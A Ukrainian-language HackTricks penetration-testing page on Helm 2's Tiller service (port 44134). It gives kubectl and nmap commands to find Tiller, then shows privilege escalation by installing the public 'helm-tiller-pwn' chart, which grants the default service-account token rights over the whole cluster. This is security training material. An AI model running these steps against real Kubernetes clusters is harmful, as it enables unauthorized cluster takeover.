44134 - Pentesting Tiller (Helm)

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Базова інформація

Helm - це менеджер пакетів для Kubernetes. Він дозволяє упаковувати файли YAML та розповсюджувати їх у публічних та приватних репозиторіях. Ці пакети називаються Helm Charts. Tiller - це сервіс, який запущений за замовчуванням на порту 44134 та надає цей сервіс.

Порт за замовчуванням: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

Перелік

Якщо ви можете перелічити підсистеми та/або сервіси різних просторів імен, перелічіть їх та шукайте ті, у яких є "tiller" у назві:

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

Приклади:

kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

Ви також можете спробувати знайти цей сервіс, перевіривши порт 44134:

sudo nmap -sS -p 44134 <IP>

Після того, як ви виявили його, ви можете спілкуватися з ним, завантаживши клієнтську програму helm. Ви можете використовувати такі інструменти, як homebrew, або переглянути офіційну сторінку релізів. Для отримання додаткових відомостей або інших варіантів дивіться посібник з встановлення.

Потім ви можете перелічити сервіс:

helm --host tiller-deploy.kube-system:44134 version

Підвищення привілеїв

За замовчуванням Helm2 був встановлений в просторі імен kube-system з високими привілеями, тому якщо ви знаходите службу і маєте до неї доступ, це може дозволити вам підвищити привілеї.

Все, що вам потрібно зробити, це встановити пакет, подібний до цього: https://github.com/Ruil1n/helm-tiller-pwn, який надасть токен служби за замовчуванням доступ до всього в усьому кластері.

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

У http://rui0.cn/archives/1573 ви знайдете пояснення атаки, але в основному, якщо ви прочитаєте файли clusterrole.yaml та clusterrolebinding.yaml всередині helm-tiller-pwn/pwnchart/templates/, ви побачите, як всі привілеї надаються типовому токену.

Last updated